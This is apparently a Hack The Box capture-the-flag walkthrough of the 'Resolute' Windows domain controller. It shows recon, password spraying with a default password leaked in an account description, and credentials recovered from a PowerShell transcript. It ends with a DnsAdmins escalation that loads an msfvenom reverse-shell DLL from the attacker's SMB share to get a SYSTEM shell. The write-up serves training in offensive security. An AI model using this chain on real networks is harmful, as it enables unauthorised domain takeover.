Details
This machine is Resolute from Hack The Box
Recon
kali@kali:~$ nmap -sV -p- -T4 10.10.10.169
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 12:01 GMT
Warning: 10.10.10.169 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.169
Host is up (0.028s latency).
Not shown: 65425 closed ports, 86 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-22 12:20:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49710/tcp open tcpwrapped
49909/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/22%Time=5E511ABB%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 712.70 secondsUser
From the scan I had the domain megabank.local which I added to hosts. I then ran enum4linux
kali@kali:~$ enum4linux -a megabank.local
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Feb 22 12:20:19 2020
[SNIP]
===============================
| Users on megabank.local |
===============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
[SNIP]An interesting line
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!I tried this password for the user with no luck, but considered if it is a default password it may work for another user. When I tried melanie
kali@kali:~$ smbmap -H megabank.local -u melanie -p 'Welcome123!'
[+] Finding open SMB ports....
[+] User SMB session established on megabank.local...
[+] IP: megabank.local:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
.
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 InitShutdown
fr--r--r-- 4 Sun Dec 31 23:58:45 1600 lsass
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 ntsvcs
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 scerpc
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-324-0
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 epmapper
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-1b8-0
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 LSM_API_service
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 eventlog
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-384-0
fr--r--r-- 4 Sun Dec 31 23:58:45 1600 wkssvc
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 atsvc
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-3d8-0
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-240-0
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-240-1
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-434-0
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 RpcProxy\49676
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 c575c1d58a02794d
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 RpcProxy\593
fr--r--r-- 4 Sun Dec 31 23:58:45 1600 srvsvc
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 efsrpc
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 netdfs
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 vgauth-service
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-238-0
fr--r--r-- 3 Sun Dec 31 23:58:45 1600 W32TIME_ALT
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-7e8-0
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 PSHost.132268506008456809.3176.DefaultAppDomain.powershell
fr--r--r-- 1 Sun Dec 31 23:58:45 1600 Winsock2\CatalogChangeListener-b6c-0
IPC$ READ ONLY Remote IPC
.
dr--r--r-- 0 Wed Sep 25 14:28:35 2019 .
dr--r--r-- 0 Wed Sep 25 14:28:35 2019 ..
NETLOGON READ ONLY Logon server share
.
dr--r--r-- 0 Wed Sep 25 14:28:35 2019 .
dr--r--r-- 0 Wed Sep 25 14:28:35 2019 ..
dr--r--r-- 0 Wed Sep 25 14:28:35 2019 megabank.local
SYSVOL READ ONLY Logon server share So I checked if evil winrm would work
kali@kali:~$ ./evil-winrm.rb -i megabank.local -u melanie -p 'Welcome123!'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\melanie\Documents>It did, grab the user flag
*Evil-WinRM* PS C:\Users\melanie\Desktop> dir
Directory: C:\Users\melanie\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 12/3/2019 7:33 AM 32 user.txt
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
[REDACTED]System
I found a hidden directory called PSTranscripts at the root of the C drive
*Evil-WinRM* PS C:\> cmd /r "dir /a"
Volume in drive C has no label.
Volume Serial Number is 923F-3611
Directory of C:\
12/03/2019 06:40 AM <DIR> $RECYCLE.BIN
11/20/2016 05:59 PM 389,408 bootmgr
07/16/2016 05:10 AM 1 BOOTNXT
09/25/2019 09:17 AM <JUNCTION> Documents and Settings [C:\Users]
02/22/2020 04:08 AM 402,653,184 pagefile.sys
09/25/2019 05:19 AM <DIR> PerfLogs
09/25/2019 11:39 AM <DIR> Program Files
11/20/2016 06:36 PM <DIR> Program Files (x86)
09/25/2019 09:48 AM <DIR> ProgramData
12/03/2019 06:32 AM <DIR> PSTranscripts
09/25/2019 09:17 AM <DIR> Recovery
09/25/2019 05:25 AM <DIR> System Volume Information
12/04/2019 02:46 AM <DIR> Users
12/04/2019 05:15 AM <DIR> Windows
3 File(s) 403,042,593 bytesInside was another directory, but inside that
*Evil-WinRM* PS C:\PSTranscripts\20191203> cmd /r "dir /a"
Volume in drive C has no label.
Volume Serial Number is 923F-3611
Directory of C:\PSTranscripts\20191203
12/03/2019 06:45 AM <DIR> .
12/03/2019 06:45 AM <DIR> ..
12/03/2019 06:45 AM 3,732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
1 File(s) 3,732 bytes
2 Dir(s) 31,051,489,280 bytes freeA log for someone’s powershell session
*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************The interesting line was
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!So I now had creds for ryan
ryan : Serv3r4Admin4cc123!Evil winrm again
kali@kali:~$ ./evil-winrm.rb -i megabank.local -u ryan -p 'Serv3r4Admin4cc123!'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>When I checked my new groups
*Evil-WinRM* PS C:\Users\ryan> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192The important one was DNS admins, http://www.abhizer.com/windows-privilege-escalation-dnsadmin-to-domaincontroller/ and https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise explain how to exploit this. First I needed an evil dll file
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.27 LPORT=4444 --platform=windows -f dll > ./plugin.dllThen I hosted it on an smb share
kali@kali:~$ sudo python3 ./smbserver.py -ip 10.10.14.27 theshare /tmp
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsedAnd set a listener
kali@kali:~$ nc -nlvp 4444I then injected the dll and restarted the dns service
*Evil-WinRM* PS C:\Users\ryan> dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.27\theshare\plugin.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3532
FLAGS :When I checked the listener
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.169] 55018
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
C:\Windows\system32> whoami
nt authority\systemAll that was left was to get the flag
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 923F-3611
Directory of C:\Users\Administrator\Desktop
12/04/2019 05:18 AM <DIR> .
12/04/2019 05:18 AM <DIR> ..
12/03/2019 07:32 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 31,049,973,760 bytes free
C:\Users\Administrator\Desktop>type root.txt
[REDACTED]